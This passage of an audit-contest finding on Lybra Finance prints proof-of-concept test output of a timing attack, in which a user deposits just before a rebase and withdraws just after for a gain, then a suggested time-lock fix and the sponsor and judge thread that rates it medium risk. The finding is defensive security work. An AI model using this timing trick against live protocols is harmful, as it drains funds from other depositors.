Deployng contracts... Timestamp before the exploit: 1688138231 sthETHBalance before the exploit: 99999999999999999999 EUSD shares before the exploit: 0 EUSD balance before the exploit: 0 Deposited assets before the exploit: 0 Borrowed amount before the exploit: 0 Alice deposits before rebase and withdraws immediately after Timestamp after the exploit: 1688138238 sthETH balance after the exploit: 100000319476188886835 EUSD shares after the exploit: 320852235386255949 EUSD balance after the exploit: 321329019285990239 Deposited assets after the exploit: 0 Borrowed amount after the exploit: 0

The same time lock logic that is applied to the withdraw function could be applied to rigidRedemption, making this type of interactions unprofitable.

Assessed type

Timing

#0 - c4-pre-sort

2023-07-10T18:58:04Z

JeffCX marked the issue as primary issue

#1 - LybraFinance

2023-07-14T09:44:51Z

There is a 0.5% fee for redemptions, which offsets the potential gains from such operations.

#2 - c4-sponsor

2023-07-14T09:44:58Z

LybraFinance marked the issue as sponsor disputed

#3 - 0xean

2023-07-26T00:29:31Z

@LybraFinance - can you comment on why you believe the test is not showing that fee outweighing the benefit?

#4 - LybraFinance

2023-07-28T08:35:26Z

Because in step three, there are additional fees involved when the user performs a withdraw, so it's not possible to completely avoid losses. This situation does exist, but we consider it a moderate-risk issue.

#5 - c4-sponsor

2023-07-28T08:35:36Z

LybraFinance marked the issue as sponsor confirmed

#6 - c4-judge

2023-07-28T13:04:30Z

0xean changed the severity to 2 (Med Risk)

#7 - c4-judge

2023-07-28T13:04:50Z

0xean marked the issue as satisfactory

#8 - c4-judge

2023-07-28T20:49:48Z

0xean marked the issue as selected for report

AuditHub

A portfolio for auditors, a security profile for protocols, a hub for web3 security.

Built bymalatrax © 2024

Auditors

Browse

Contests

Browse

Get in touch

ContactTwitter